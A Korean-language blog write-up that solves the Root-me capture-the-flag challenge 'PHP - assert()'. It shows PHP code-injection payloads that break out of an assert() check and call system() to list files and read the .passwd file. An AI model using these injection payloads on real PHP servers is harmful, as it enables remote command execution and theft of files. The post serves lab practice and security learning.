Post

Root-me PHP assert()

PHP - assert()



1
2
3
4
5
6
Read the doc!
Author
Birdy42,  26 November 2016

Statement
Find and exploit the vulnerability to read the file .passwd.






Solution



home, about 등의 페이지에 접속하면 파라미터로 ?page=home 처럼 값을 받는다.

값으로 ../을 주니 아래와 같이 assertion이 출력됬다.
Warning: assert(): Assertion "strpos('includes/../.php', '..') === false" failed in /challenge/web-serveur/ch47/index.php on line 8 Detected hacking attempt!


Bypass LFI checks and strpos() check in assert
infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6


위의 블로그에서 설명해준 것 처럼 ' and die(system('ls'))or '을 통해 우회할 수 있다.

우선 입력 값으로 single quote를 입력해주면 에러가 뜨는데 이는 즉, assert 문에 코드를 주입할 수 있다는 뜻이다.

코드는 아마 assert(strpos('includes/$_GET["page"]'.php', '..') === false) or die('Detected hacking attempt!');로 되어 있을 것이다.

따라서 ' and die(system('cat .passwd')) or '를 해주면 assert(strpos('includes/' and die(system('cat .passwd')) or ''.php', '..') === false) or die('Detected hacking attempt!');이 되는데 솔직히 이거는 왜 되는지 모르겠다.

다른 payload로는 ','.') === true or die(system('ls -al')) or strpos('가 있고 이 코드를 주입하면 된다.

따라서 코드가 assert(strpos('includes/','.') === true or die(system('ls -al')) or strpos(''.php', '..') === false) or die('Detected hacking attempt!');가 되어 assert문이 변조가 된다.






This post is licensed under CC BY 4.0 by the author.